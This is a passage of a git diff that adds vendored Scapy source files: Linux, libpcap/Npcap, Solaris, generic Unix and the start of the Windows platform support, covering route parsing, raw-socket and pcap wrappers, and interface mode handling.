struct.unpack('4s4s4s4s4s4s4s4s', tmp[0].encode()) + ).decode() + ) + # (addr, scope, iface) + ret.append((addr, int(tmp[3], 16), tmp[5])) + fdesc.close() + return ret + + +def read_routes6(): + try: + f = open("/proc/net/ipv6_route", "rb") + except IOError: + return [] + # 1. destination network + # 2. destination prefix length + # 3. source network displayed + # 4. source prefix length + # 5. next hop + # 6. metric + # 7. reference counter (?!?) + # 8. use counter (?!?) + # 9. flags + # 10. device name + routes = [] + + def proc2r(p): + ret = struct.unpack('4s4s4s4s4s4s4s4s', p) + ret = b':'.join(ret).decode() + return scapy.utils6.in6_ptop(ret) + + lifaddr = in6_getifaddr() + for line in f.readlines(): + d, dp, _, _, nh, metric, rc, us, fl, dev = line.split() + metric = int(metric, 16) + fl = int(fl, 16) + dev = plain_str(dev) + + if fl & RTF_UP == 0: + continue + if fl & RTF_REJECT: + continue + + d = proc2r(d) + dp = int(dp, 16) + nh = proc2r(nh) + + cset = [] # candidate set (possible source addresses) + if dev == conf.loopback_name: + if d == '::': + continue + cset = ['::1'] + else: + devaddrs = (x for x in lifaddr if x[2] == dev) + cset = scapy.utils6.construct_source_candidate_set(d, dp, devaddrs) + + if len(cset) != 0: + routes.append((d, dp, nh, dev, cset, metric)) + f.close() + return routes + + +def get_if_index(iff): + return int(struct.unpack("I", get_if(iff, SIOCGIFINDEX)[16:20])[0]) + + +if os.uname()[4] in ['x86_64', 'aarch64']: + def get_last_packet_timestamp(sock): + ts = ioctl(sock, SIOCGSTAMP, "1234567890123456") + s, us = struct.unpack("QQ", ts) + return s + us / 1000000.0 +else: + def get_last_packet_timestamp(sock): + ts = ioctl(sock, SIOCGSTAMP, "12345678") + s, us = struct.unpack("II", ts) + return s + us / 1000000.0 + + +def _flush_fd(fd): + if hasattr(fd, 'fileno'): + fd = fd.fileno() + while True: + r, w, e = select([fd], [], [], 0) + if r: + os.read(fd, MTU) + else: + break + + +def get_iface_mode(iface): + """Return the interface mode. + params: + - iface: the iwconfig interface + """ + p = subprocess.Popen(["iwconfig", iface], stdout=subprocess.PIPE, + stderr=subprocess.STDOUT) + output, err = p.communicate() + match = re.search(br"mode:([a-zA-Z]*)", output.lower()) + if match: + return plain_str(match.group(1)) + return "unknown" + + +def set_iface_monitor(iface, monitor): + """Sets the monitor mode (or remove it) from an interface. + params: + - iface: the iwconfig interface + - monitor: True if the interface should be set in monitor mode, + False if it should be in managed mode + """ + mode = get_iface_mode(iface) + if mode == "unknown": + warning("Could not parse iwconfig !") + current_monitor = mode == "monitor" + if monitor == current_monitor: + # Already correct + return True + s_mode = "monitor" if monitor else "managed" + + def _check_call(commands): + p = subprocess.Popen(commands, + stderr=subprocess.PIPE, + stdout=subprocess.PIPE) + stdout, stderr = p.communicate() + if p.returncode != 0: + warning("%s failed !" % " ".join(commands)) + return False + return True + if not _check_call(["ifconfig", iface, "down"]): + return False + if not _check_call(["iwconfig", iface, "mode", s_mode]): + return False + if not _check_call(["ifconfig", iface, "up"]): + return False + return True + + +class L2Socket(SuperSocket): + desc = "read/write packets at layer 2 using Linux PF_PACKET sockets" + + def __init__(self, iface=None, type=ETH_P_ALL, promisc=None, filter=None, + nofilter=0, monitor=None): + self.iface = conf.iface if iface is None else iface + self.type = type + self.promisc = conf.sniff_promisc if promisc is None else promisc + if monitor is not None: + warning( + "The monitor argument is ineffective on native linux sockets." + " Use set_iface_monitor instead." + ) + self.ins = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(type)) # noqa: E501 + if not nofilter: + if conf.except_filter: + if filter: + filter = "(%s) and not (%s)" % (filter, conf.except_filter) + else: + filter = "not (%s)" % conf.except_filter + if filter is not None: + try: + attach_filter(self.ins, filter, iface) + except ImportError as ex: + warning("Cannot set filter: %s" % ex) + if self.promisc: + set_promisc(self.ins, self.iface) + self.ins.bind((self.iface, type)) + _flush_fd(self.ins) + self.ins.setsockopt( + socket.SOL_SOCKET, + socket.SO_RCVBUF, + conf.bufsize + ) + if not six.PY2: + # Receive Auxiliary Data (VLAN tags) + try: + self.ins.setsockopt(SOL_PACKET, PACKET_AUXDATA, 1) + self.ins.setsockopt( + socket.SOL_SOCKET, + SO_TIMESTAMPNS, + 1 + ) + self.auxdata_available = True + except OSError: + # Note: Auxiliary Data is only supported since + # Linux 2.6.21 + msg = "Your Linux Kernel does not support Auxiliary Data!" + log_runtime.info(msg) + if isinstance(self, L2ListenSocket): + self.outs = None + else: + self.outs = self.ins + self.outs.setsockopt( + socket.SOL_SOCKET, + socket.SO_SNDBUF, + conf.bufsize + ) + sa_ll = self.ins.getsockname() + if sa_ll[3] in conf.l2types: + self.LL = conf.l2types[sa_ll[3]] + self.lvl = 2 + elif sa_ll[1] in conf.l3types: + self.LL = conf.l3types[sa_ll[1]] + self.lvl = 3 + else: + self.LL = conf.default_l2 + self.lvl = 2 + warning("Unable to guess type (interface=%s protocol=%#x family=%i). Using %s", sa_ll[0], sa_ll[1], sa_ll[3], self.LL.name) # noqa: E501 + + def close(self): + if self.closed: + return + try: + if self.promisc and self.ins: + set_promisc(self.ins, self.iface, 0) + except (AttributeError, OSError): + pass + SuperSocket.close(self) + + def recv_raw(self, x=MTU): + """Receives a packet, then returns a tuple containing (cls, pkt_data, time)""" # noqa: E501 + pkt, sa_ll, ts = self._recv_raw(self.ins, x) + if self.outs and sa_ll[2] == socket.PACKET_OUTGOING: + return None, None, None + if ts is None: + ts = get_last_packet_timestamp(self.ins) + return self.LL, pkt, ts + + def send(self, x): + try: + return SuperSocket.send(self, x) + except socket.error as msg: + if msg.errno == 22 and len(x) < conf.min_pkt_size: + padding = b"\x00" * (conf.min_pkt_size - len(x)) + if isinstance(x, Packet): + return SuperSocket.send(self, x / Padding(load=padding)) + else: + return SuperSocket.send(self, raw(x) + padding) + raise + + +class L2ListenSocket(L2Socket): + desc = "read packets at layer 2 using Linux PF_PACKET sockets. Also receives the packets going OUT" # noqa: E501 + + def send(self, x): + raise Scapy_Exception("Can't send anything with L2ListenSocket") + + +class L3PacketSocket(L2Socket): + desc = "read/write packets at layer 3 using Linux PF_PACKET sockets" + + def recv(self, x=MTU): + pkt = SuperSocket.recv(self, x) + if pkt and self.lvl == 2: + pkt.payload.time = pkt.time + return pkt.payload + return pkt + + def send(self, x): + iff = x.route()[0] + if iff is None: + iff = conf.iface + sdto = (iff, self.type) + self.outs.bind(sdto) + sn = self.outs.getsockname() + ll = lambda x: x + type_x = type(x) + if type_x in conf.l3types: + sdto = (iff, conf.l3types[type_x]) + if sn[3] in conf.l2types: + ll = lambda x: conf.l2types[sn[3]]() / x + if self.lvl == 3 and type_x != self.LL: + warning("Incompatible L3 types detected using %s instead of %s !", + type_x, self.LL) + self.LL = type_x + sx = raw(ll(x)) + x.sent_time = time.time() + try: + self.outs.sendto(sx, sdto) + except socket.error as msg: + if msg.errno == 22 and len(sx) < conf.min_pkt_size: + self.outs.send(sx + b"\x00" * (conf.min_pkt_size - len(sx))) + elif conf.auto_fragment and msg.errno == 90: + for p in x.fragment(): + self.outs.sendto(raw(ll(p)), sdto) + else: + raise + + +class VEthPair(object): + """ + encapsulates a virtual Ethernet interface pair + """ + + def __init__(self, iface_name, peer_name): + + if not LINUX: + # ToDo: do we need a kernel version check here? + raise ScapyInvalidPlatformException( + 'Virtual Ethernet interface pair only available on Linux' + ) + + self.ifaces = [iface_name, peer_name] + + def iface(self): + return self.ifaces[0] + + def peer(self): + return self.ifaces[1] + + def setup(self): + """ + create veth pair links + :raises subprocess.CalledProcessError if operation fails + """ + subprocess.check_call(['ip', 'link', 'add', self.ifaces[0], 'type', 'veth', 'peer', 'name', self.ifaces[1]]) # noqa: E501 + + def destroy(self): + """ + remove veth pair links + :raises subprocess.CalledProcessError if operation fails + """ + subprocess.check_call(['ip', 'link', 'del', self.ifaces[0]]) + + def up(self): + """ + set veth pair links up + :raises subprocess.CalledProcessError if operation fails + """ + for idx in [0, 1]: + subprocess.check_call(["ip", "link", "set", self.ifaces[idx], "up"]) # noqa: E501 + + def down(self): + """ + set veth pair links down + :raises subprocess.CalledProcessError if operation fails + """ + for idx in [0, 1]: + subprocess.check_call(["ip", "link", "set", self.ifaces[idx], "down"]) # noqa: E501 + + def __enter__(self): + self.setup() + self.up() + return self + + def __exit__(self, exc_type, exc_val, exc_tb): + self.destroy() diff --git a/libs/scapy/arch/pcapdnet.py b/libs/scapy/arch/pcapdnet.py new file mode 100755 index 0000000..54ab416 --- /dev/null +++ b/libs/scapy/arch/pcapdnet.py @@ -0,0 +1,394 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Philippe Biondi +# This program is published under a GPLv2 license + +""" +Packet sending and receiving libpcap/WinPcap. +""" + +import os +import platform +import socket +import struct +import time + +from scapy.automaton import SelectableObject +from scapy.arch.common import _select_nonblock +from scapy.compat import raw, plain_str +from scapy.config import conf +from scapy.consts import WINDOWS +from scapy.data import MTU, ETH_P_ALL +from scapy.pton_ntop import inet_ntop +from scapy.supersocket import SuperSocket +from scapy.error import Scapy_Exception, log_loading, warning +import scapy.consts + +if not scapy.consts.WINDOWS: + from fcntl import ioctl + +############ +# COMMON # +############ + +# From BSD net/bpf.h +# BIOCIMMEDIATE = 0x80044270 +BIOCIMMEDIATE = -2147204496 + + +class _L2pcapdnetSocket(SuperSocket, SelectableObject): + nonblocking_socket = True + + def __init__(self): + SelectableObject.__init__(self) + self.cls = None + + def check_recv(self): + return True + + def recv_raw(self, x=MTU): + """Receives a packet, then returns a tuple containing (cls, pkt_data, time)""" # noqa: E501 + if self.cls is None: + ll = self.ins.datalink() + if ll in conf.l2types: + self.cls = conf.l2types[ll] + else: + self.cls = conf.default_l2 + warning( + "Unable to guess datalink type " + "(interface=%s linktype=%i). Using %s", + self.iface, ll, self.cls.name + ) + + ts, pkt = self.ins.next() + if pkt is None: + return None, None, None + return self.cls, pkt, ts + + def nonblock_recv(self): + """Receives and dissect a packet in non-blocking mode. + Note: on Windows, this won't do anything.""" + self.ins.setnonblock(1) + p = self.recv(MTU) + self.ins.setnonblock(0) + return p + + @staticmethod + def select(sockets, remain=None): + return _select_nonblock(sockets, remain=None) + +########## +# PCAP # +########## + + +if conf.use_pcap: + if WINDOWS: + # Windows specific + NPCAP_PATH = os.environ["WINDIR"] + "\\System32\\Npcap" + from scapy.libs.winpcapy import pcap_setmintocopy + else: + from scapy.libs.winpcapy import pcap_get_selectable_fd + from ctypes import POINTER, byref, create_string_buffer, c_ubyte, cast + + # Part of the Winpcapy integration was inspired by phaethon/scapy + # but he destroyed the commit history, so there is no link to that + try: + from scapy.libs.winpcapy import PCAP_ERRBUF_SIZE, pcap_if_t, \ + sockaddr_in, sockaddr_in6, pcap_findalldevs, pcap_freealldevs, \ + pcap_lib_version, pcap_close, \ + pcap_open_live, pcap_pkthdr, \ + pcap_next_ex, pcap_datalink, \ + pcap_compile, pcap_setfilter, pcap_setnonblock, pcap_sendpacket, \ + bpf_program + + def load_winpcapy(): + """This functions calls libpcap ``pcap_findalldevs`` function, + and extracts and parse all the data scapy will need + to build the Interface List. + + The date will be stored in ``conf.cache_iflist``, or accessible + with ``get_if_list()`` + """ + err = create_string_buffer(PCAP_ERRBUF_SIZE) + devs = POINTER(pcap_if_t)() + if_list = {} + if pcap_findalldevs(byref(devs), err) < 0: + return + try: + p = devs + # Iterate through the different interfaces + while p: + name = plain_str(p.contents.name) # GUID + description = plain_str(p.contents.description) # NAME + flags = p.contents.flags # FLAGS + ips = [] + a = p.contents.addresses + while a: + # IPv4 address + family = a.contents.addr.contents.sa_family + ap = a.contents.addr + if family == socket.AF_INET: + val = cast(ap, POINTER(sockaddr_in)) + val = val.contents.sin_addr[:] + elif family == socket.AF_INET6: + val = cast(ap, POINTER(sockaddr_in6)) + val = val.contents.sin6_addr[:] + else: + # Unknown address family + # (AF_LINK isn't a thing on Windows) + a = a.contents.next + continue + addr = inet_ntop(family, bytes(bytearray(val))) + if addr != "0.0.0.0": + ips.append(addr) + a = a.contents.next + if_list[name] = (description, ips, flags) + p = p.contents.next + conf.cache_iflist = if_list + except Exception: + raise + finally: + pcap_freealldevs(devs) + except OSError: + conf.use_pcap = False + if WINDOWS: + if conf.interactive: + log_loading.critical( + "Npcap/Winpcap is not installed ! See " + "https://scapy.readthedocs.io/en/latest/installation.html#windows" # noqa: E501 + ) + else: + if conf.interactive: + log_loading.critical( + "Libpcap is not installed!" + ) + else: + if WINDOWS: + # Detect Pcap version: check for Npcap + version = pcap_lib_version() + if b"winpcap" in version.lower(): + if os.path.exists(NPCAP_PATH + "\\wpcap.dll"): + warning("Winpcap is installed over Npcap. " + "Will use Winpcap (see 'Winpcap/Npcap conflicts' " + "in Scapy's docs)") + elif platform.release() != "XP": + warning("WinPcap is now deprecated (not maintained). " + "Please use Npcap instead") + elif b"npcap" in version.lower(): + conf.use_npcap = True + conf.loopback_name = conf.loopback_name = "Npcap Loopback Adapter" # noqa: E501 + +if conf.use_pcap: + def get_if_list(): + """Returns all pcap names""" + if not conf.cache_iflist: + load_winpcapy() + return list(conf.cache_iflist) + + class _PcapWrapper_libpcap: # noqa: F811 + """Wrapper for the libpcap calls""" + + def __init__(self, device, snaplen, promisc, to_ms, monitor=None): + self.errbuf = create_string_buffer(PCAP_ERRBUF_SIZE) + self.iface = create_string_buffer(device.encode("utf8")) + self.dtl = None + if monitor: + if WINDOWS and not conf.use_npcap: + raise OSError("On Windows, this feature requires NPcap !") + # Npcap-only functions + from scapy.libs.winpcapy import pcap_create, \ + pcap_set_snaplen, pcap_set_promisc, \ + pcap_set_timeout, pcap_set_rfmon, pcap_activate + self.pcap = pcap_create(self.iface, self.errbuf) + pcap_set_snaplen(self.pcap, snaplen) + pcap_set_promisc(self.pcap, promisc) + pcap_set_timeout(self.pcap, to_ms) + if pcap_set_rfmon(self.pcap, 1) != 0: + warning("Could not set monitor mode") + if pcap_activate(self.pcap) != 0: + raise OSError("Could not activate the pcap handler") + else: + self.pcap = pcap_open_live(self.iface, + snaplen, promisc, to_ms, + self.errbuf) + error = bytes(bytearray(self.errbuf)).strip(b"\x00") + if error: + raise OSError(error) + + if WINDOWS: + # Winpcap/Npcap exclusive: make every packet to be instantly + # returned, and not buffered within Winpcap/Npcap + pcap_setmintocopy(self.pcap, 0) + + self.header = POINTER(pcap_pkthdr)() + self.pkt_data = POINTER(c_ubyte)() + self.bpf_program = bpf_program() + + def next(self): + """ + Returns the next packet as the tuple + (timestamp, raw_packet) + """ + c = pcap_next_ex( + self.pcap, + byref(self.header), + byref(self.pkt_data) + ) + if not c > 0: + return None, None + ts = self.header.contents.ts.tv_sec + float(self.header.contents.ts.tv_usec) / 1e6 # noqa: E501 + pkt = bytes(bytearray(self.pkt_data[:self.header.contents.len])) + return ts, pkt + __next__ = next + + def datalink(self): + """Wrapper around pcap_datalink""" + if self.dtl is None: + self.dtl = pcap_datalink(self.pcap) + return self.dtl + + def fileno(self): + if WINDOWS: + log_loading.error("Cannot get selectable PCAP fd on Windows") + return -1 + else: + # This does not exist under Windows + return pcap_get_selectable_fd(self.pcap) + + def setfilter(self, f): + filter_exp = create_string_buffer(f.encode("utf8")) + if pcap_compile(self.pcap, byref(self.bpf_program), filter_exp, 0, -1) == -1: # noqa: E501 + log_loading.error("Could not compile filter expression %s", f) + return False + else: + if pcap_setfilter(self.pcap, byref(self.bpf_program)) == -1: + log_loading.error("Could not install filter %s", f) + return False + return True + + def setnonblock(self, i): + pcap_setnonblock(self.pcap, i, self.errbuf) + + def send(self, x): + pcap_sendpacket(self.pcap, x, len(x)) + + def close(self): + pcap_close(self.pcap) + open_pcap = _PcapWrapper_libpcap + + # pcap sockets + + class L2pcapListenSocket(_L2pcapdnetSocket): + desc = "read packets at layer 2 using libpcap" + + def __init__(self, iface=None, type=ETH_P_ALL, promisc=None, filter=None, monitor=None): # noqa: E501 + super(L2pcapListenSocket, self).__init__() + self.type = type + self.outs = None + self.iface = iface + if iface is None: + iface = conf.iface + if promisc is None: + promisc = conf.sniff_promisc + self.promisc = promisc + # Note: Timeout with Winpcap/Npcap + # The 4th argument of open_pcap corresponds to timeout. In an ideal world, we would # noqa: E501 + # set it to 0 ==> blocking pcap_next_ex. + # However, the way it is handled is very poor, and result in a jerky packet stream. # noqa: E501 + # To fix this, we set 100 and the implementation under windows is slightly different, as # noqa: E501 + # everything is always received as non-blocking + self.ins = open_pcap(iface, MTU, self.promisc, 100, + monitor=monitor) + try: + ioctl(self.ins.fileno(), BIOCIMMEDIATE, struct.pack("I", 1)) + except Exception: + pass + if type == ETH_P_ALL: # Do not apply any filter if Ethernet type is given # noqa: E501 + if conf.except_filter: + if filter: + filter = "(%s) and not (%s)" % (filter, conf.except_filter) # noqa: E501 + else: + filter = "not (%s)" % conf.except_filter + if filter: + self.ins.setfilter(filter) + + def send(self, x): + raise Scapy_Exception("Can't send anything with L2pcapListenSocket") # noqa: E501 + + class L2pcapSocket(_L2pcapdnetSocket): + desc = "read/write packets at layer 2 using only libpcap" + + def __init__(self, iface=None, type=ETH_P_ALL, promisc=None, filter=None, nofilter=0, # noqa: E501 + monitor=None): + super(L2pcapSocket, self).__init__() + if iface is None: + iface = conf.iface + self.iface = iface + if promisc is None: + promisc = 0 + self.promisc = promisc + # See L2pcapListenSocket for infos about this line + self.ins = open_pcap(iface, MTU, self.promisc, 100, + monitor=monitor) + self.outs = self.ins + try: + ioctl(self.ins.fileno(), BIOCIMMEDIATE, struct.pack("I", 1)) + except Exception: + pass + if nofilter: + if type != ETH_P_ALL: # PF_PACKET stuff. Need to emulate this for pcap # noqa: E501 + filter = "ether proto %i" % type + else: + filter = None + else: + if conf.except_filter: + if filter: + filter = "(%s) and not (%s)" % (filter, conf.except_filter) # noqa: E501 + else: + filter = "not (%s)" % conf.except_filter + if type != ETH_P_ALL: # PF_PACKET stuff. Need to emulate this for pcap # noqa: E501 + if filter: + filter = "(ether proto %i) and (%s)" % (type, filter) + else: + filter = "ether proto %i" % type + if filter: + self.ins.setfilter(filter) + + def send(self, x): + sx = raw(x) + try: + x.sent_time = time.time() + except AttributeError: + pass + self.outs.send(sx) + + class L3pcapSocket(L2pcapSocket): + desc = "read/write packets at layer 3 using only libpcap" + + def recv(self, x=MTU): + r = L2pcapSocket.recv(self, x) + if r: + r.payload.time = r.time + return r.payload + return r + + def send(self, x): + # Makes send detects when it should add Loopback(), Dot11... instead of Ether() # noqa: E501 + ll = self.ins.datalink() + if ll in conf.l2types: + cls = conf.l2types[ll] + else: + cls = conf.default_l2 + warning("Unable to guess datalink type (interface=%s linktype=%i). Using %s", self.iface, ll, cls.name) # noqa: E501 + sx = raw(cls() / x) + try: + x.sent_time = time.time() + except AttributeError: + pass + self.outs.send(sx) +else: + # No libpcap installed + get_if_list = lambda: [] + if WINDOWS: + NPCAP_PATH = "" diff --git a/libs/scapy/arch/solaris.py b/libs/scapy/arch/solaris.py new file mode 100755 index 0000000..83bde27 --- /dev/null +++ b/libs/scapy/arch/solaris.py @@ -0,0 +1,35 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Philippe Biondi +# This program is published under a GPLv2 license + +""" +Customization for the Solaris operation system. +""" + +import socket + +from scapy.config import conf +conf.use_pcap = True + +# IPPROTO_GRE is missing on Solaris +socket.IPPROTO_GRE = 47 + +# From sys/sockio.h and net/if.h +SIOCGIFHWADDR = 0xc02069b9 # Get hardware address + +from scapy.arch.pcapdnet import * # noqa: F401, F403 +from scapy.arch.unix import * # noqa: F401, F403 +from scapy.arch.common import get_if_raw_hwaddr # noqa: F401, F403 + + +def get_working_if(): + """Return an interface that works""" + try: + # return the interface associated with the route with smallest + # mask (route by default if it exists) + iface = min(conf.route.routes, key=lambda x: x[1])[3] + except ValueError: + # no route + iface = conf.loopback_name + return iface diff --git a/libs/scapy/arch/unix.py b/libs/scapy/arch/unix.py new file mode 100755 index 0000000..5096d98 --- /dev/null +++ b/libs/scapy/arch/unix.py @@ -0,0 +1,355 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Philippe Biondi +# This program is published under a GPLv2 license + +""" +Common customizations for all Unix-like operating systems other than Linux +""" + +import os +import socket + +import scapy.config +import scapy.utils +from scapy.arch import get_if_addr +from scapy.config import conf +from scapy.consts import FREEBSD, NETBSD, OPENBSD, SOLARIS +from scapy.error import warning, log_interactive +from scapy.pton_ntop import inet_pton +from scapy.utils6 import in6_getscope, construct_source_candidate_set +from scapy.utils6 import in6_isvalid, in6_ismlladdr, in6_ismnladdr + + +################## +# Routes stuff # +################## + +def _guess_iface_name(netif): + """ + We attempt to guess the name of interfaces that are truncated from the + output of ifconfig -l. + If there is only one possible candidate matching the interface name then we + return it. + If there are none or more, then we return None. + """ + with os.popen('%s -l' % conf.prog.ifconfig) as fdesc: + ifaces = fdesc.readline().strip().split(' ') + matches = [iface for iface in ifaces if iface.startswith(netif)] + if len(matches) == 1: + return matches[0] + return None + + +def read_routes(): + """Return a list of IPv4 routes than can be used by Scapy. + + This function parses netstat. + """ + if SOLARIS: + f = os.popen("netstat -rvn -f inet") + elif FREEBSD: + f = os.popen("netstat -rnW") # -W to handle long interface names + else: + f = os.popen("netstat -rn -f inet") + ok = 0 + mtu_present = False + prio_present = False + refs_present = False + use_present = False + routes = [] + pending_if = [] + for line in f.readlines(): + if not line: + break + line = line.strip().lower() + if line.find("----") >= 0: # a separation line + continue + if not ok: + if line.find("destination") >= 0: + ok = 1 + mtu_present = "mtu" in line + prio_present = "prio" in line + refs_present = "ref" in line # There is no s on Solaris + use_present = "use" in line + continue + if not line: + break + rt = line.split() + if SOLARIS: + dest, netmask, gw, netif = rt[:4] + flg = rt[4 + mtu_present + refs_present] + else: + dest, gw, flg = rt[:3] + locked = OPENBSD and rt[6] == "l" + offset = mtu_present + prio_present + refs_present + locked + offset += use_present + netif = rt[3 + offset] + if flg.find("lc") >= 0: + continue + elif dest == "default": + dest = 0 + netmask = 0 + elif SOLARIS: + dest = scapy.utils.atol(dest) + netmask = scapy.utils.atol(netmask) + else: + if "/" in dest: + dest, netmask = dest.split("/") + netmask = scapy.utils.itom(int(netmask)) + else: + netmask = scapy.utils.itom((dest.count(".") + 1) * 8) + dest += ".0" * (3 - dest.count(".")) + dest = scapy.utils.atol(dest) + # XXX: TODO: add metrics for unix.py (use -e option on netstat) + metric = 1 + if "g" not in flg: + gw = '0.0.0.0' + if netif is not None: + try: + ifaddr = get_if_addr(netif) + routes.append((dest, netmask, gw, netif, ifaddr, metric)) + except OSError as exc: + if exc.message == 'Device not configured': + # This means the interface name is probably truncated by + # netstat -nr. We attempt to guess it's name and if not we + # ignore it. + guessed_netif = _guess_iface_name(netif) + if guessed_netif is not None: + ifaddr = get_if_addr(guessed_netif) + routes.append((dest, netmask, gw, guessed_netif, ifaddr, metric)) # noqa: E501 + else: + warning("Could not guess partial interface name: %s", netif) # noqa: E501 + else: + raise + else: + pending_if.append((dest, netmask, gw)) + f.close() + + # On Solaris, netstat does not provide output interfaces for some routes + # We need to parse completely the routing table to route their gw and + # know their output interface + for dest, netmask, gw in pending_if: + gw_l = scapy.utils.atol(gw) + max_rtmask, gw_if, gw_if_addr, = 0, None, None + for rtdst, rtmask, _, rtif, rtaddr in routes[:]: + if gw_l & rtmask == rtdst: + if rtmask >= max_rtmask: + max_rtmask = rtmask + gw_if = rtif + gw_if_addr = rtaddr + # XXX: TODO add metrics + metric = 1 + if gw_if: + routes.append((dest, netmask, gw, gw_if, gw_if_addr, metric)) + else: + warning("Did not find output interface to reach gateway %s", gw) + + return routes + +############ +# IPv6 # +############ + + +def _in6_getifaddr(ifname): + """ + Returns a list of IPv6 addresses configured on the interface ifname. + """ + + # Get the output of ifconfig + try: + f = os.popen("%s %s" % (conf.prog.ifconfig, ifname)) + except OSError: + log_interactive.warning("Failed to execute ifconfig.") + return [] + + # Iterate over lines and extract IPv6 addresses + ret = [] + for line in f: + if "inet6" in line: + addr = line.rstrip().split(None, 2)[1] # The second element is the IPv6 address # noqa: E501 + else: + continue + if '%' in line: # Remove the interface identifier if present + addr = addr.split("%", 1)[0] + + # Check if it is a valid IPv6 address + try: + inet_pton(socket.AF_INET6, addr) + except (socket.error, ValueError): + continue + + # Get the scope and keep the address + scope = in6_getscope(addr) + ret.append((addr, scope, ifname)) + + f.close() + return ret + + +def in6_getifaddr(): + """ + Returns a list of 3-tuples of the form (addr, scope, iface) where + 'addr' is the address of scope 'scope' associated to the interface + 'iface'. + + This is the list of all addresses of all interfaces available on + the system. + """ + + # List all network interfaces + if OPENBSD or SOLARIS: + if SOLARIS: + cmd = "%s -a6" + else: + cmd = "%s" + try: + f = os.popen(cmd % conf.prog.ifconfig) + except OSError: + log_interactive.warning("Failed to execute ifconfig.") + return [] + + # Get the list of network interfaces + splitted_line = [] + for l in f: + if "flags" in l: + iface = l.split()[0].rstrip(':') + splitted_line.append(iface) + + else: # FreeBSD, NetBSD or Darwin + try: + f = os.popen("%s -l" % conf.prog.ifconfig) + except OSError: + log_interactive.warning("Failed to execute ifconfig.") + return [] + + # Get the list of network interfaces + splitted_line = f.readline().rstrip().split() + + ret = [] + for i in splitted_line: + ret += _in6_getifaddr(i) + f.close() + return ret + + +def read_routes6(): + """Return a list of IPv6 routes than can be used by Scapy. + + This function parses netstat. + """ + + # Call netstat to retrieve IPv6 routes + fd_netstat = os.popen("netstat -rn -f inet6") + + # List interfaces IPv6 addresses + lifaddr = in6_getifaddr() + if not lifaddr: + fd_netstat.close() + return [] + + # Routes header information + got_header = False + mtu_present = False + prio_present = False + + # Parse the routes + routes = [] + for line in fd_netstat.readlines(): + + # Parse the routes header and try to identify extra columns + if not got_header: + if "Destination" == line[:11]: + got_header = True + mtu_present = "Mtu" in line + prio_present = "Prio" in line + continue + + # Parse a route entry according to the operating system + splitted_line = line.split() + if OPENBSD or NETBSD: + index = 5 + mtu_present + prio_present + if len(splitted_line) < index: + warning("Not enough columns in route entry !") + continue + destination, next_hop, flags = splitted_line[:3] + dev = splitted_line[index] + else: + # FREEBSD or DARWIN + if len(splitted_line) < 4: + warning("Not enough columns in route entry !") + continue + destination, next_hop, flags, dev = splitted_line[:4] + + # XXX: TODO: add metrics for unix.py (use -e option on netstat) + metric = 1 + + # Check flags + if "U" not in flags: # usable route + continue + if "R" in flags: # Host or net unreachable + continue + if "m" in flags: # multicast address + # Note: multicast routing is handled in Route6.route() + continue + + # Replace link with the default route in next_hop + if "link" in next_hop: + next_hop = "::" + + # Default prefix length + destination_plen = 128 + + # Extract network interface from the zone id + if '%' in destination: + destination, dev = destination.split('%') + if '/' in dev: + # Example: fe80::%lo0/64 ; dev = "lo0/64" + dev, destination_plen = dev.split('/') + if '%' in next_hop: + next_hop, dev = next_hop.split('%') + + # Ensure that the next hop is a valid IPv6 address + if not in6_isvalid(next_hop): + # Note: the 'Gateway' column might contain a MAC address + next_hop = "::" + + # Modify parsed routing entries + # Note: these rules are OS specific and may evolve over time + if destination == "default": + destination, destination_plen = "::", 0 + elif '/' in destination: + # Example: fe80::/10 + destination, destination_plen = destination.split('/') + if '/' in dev: + # Example: ff02::%lo0/32 ; dev = "lo0/32" + dev, destination_plen = dev.split('/') + + # Check route entries parameters consistency + if not in6_isvalid(destination): + warning("Invalid destination IPv6 address in route entry !") + continue + try: + destination_plen = int(destination_plen) + except Exception: + warning("Invalid IPv6 prefix length in route entry !") + continue + if in6_ismlladdr(destination) or in6_ismnladdr(destination): + # Note: multicast routing is handled in Route6.route() + continue + + if conf.loopback_name in dev: + # Handle ::1 separately + cset = ["::1"] + next_hop = "::" + else: + # Get possible IPv6 source addresses + devaddrs = (x for x in lifaddr if x[2] == dev) + cset = construct_source_candidate_set(destination, destination_plen, devaddrs) # noqa: E501 + + if len(cset): + routes.append((destination, destination_plen, next_hop, dev, cset, metric)) # noqa: E501 + + fd_netstat.close() + return routes diff --git a/libs/scapy/arch/windows/__init__.py b/libs/scapy/arch/windows/__init__.py new file mode 100755 index 0000000..c4e07be --- /dev/null +++ b/libs/scapy/arch/windows/__init__.py @@ -0,0 +1,1064 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Philippe Biondi +# Copyright (C) Gabriel Potter +# This program is published under a GPLv2 license + +""" +Customizations needed to support Microsoft Windows. +""" + +from __future__ import absolute_import +from __future__ import print_function +import os +import platform as platform_lib +import socket +import subprocess as sp +from glob import glob +import struct + +from scapy.arch.windows.structures import _windows_title, \ + GetAdaptersAddresses, GetIpForwardTable, GetIpForwardTable2, \ + get_service_status +from scapy.consts import WINDOWS, WINDOWS_XP +from scapy.config import conf, ConfClass +from scapy.error import Scapy_Exception, log_loading, log_runtime, warning +from scapy.pton_ntop import inet_ntop, inet_pton +from scapy.utils import atol, itom, pretty_list, mac2str, str2mac +from scapy.utils6 import construct_source_candidate_set, in6_getscope +from scapy.data import ARPHDR_ETHER, load_manuf +import scapy.modules.six as six +from scapy.modules.six.moves import input, winreg, UserDict +from scapy.compat import plain_str +from scapy.supersocket import SuperSocket + +conf.use_pcap = True + +# These import must appear after setting conf.use_* variables +from scapy.arch import pcapdnet # noqa: E402 +from scapy.arch.pcapdnet import NPCAP_PATH, get_if_list # noqa: E402 + +# Detection happens after pcapdnet import (NPcap detection) +NPCAP_LOOPBACK_NAME = r"\Device\NPF_Loopback" +if conf.use_npcap: + conf.loopback_name = NPCAP_LOOPBACK_NAME +else: + try: + if float(platform_lib.release()) >= 8.1: + conf.loopback_name = "Microsoft KM-TEST Loopback Adapter" + else: + conf.loopback_name = "Microsoft Loopback Adapter" + except ValueError: + conf.loopback_name = "Microsoft Loopback Adapter" + +# hot-patching socket for missing variables on Windows +if not hasattr(socket, 'IPPROTO_IPIP'): + 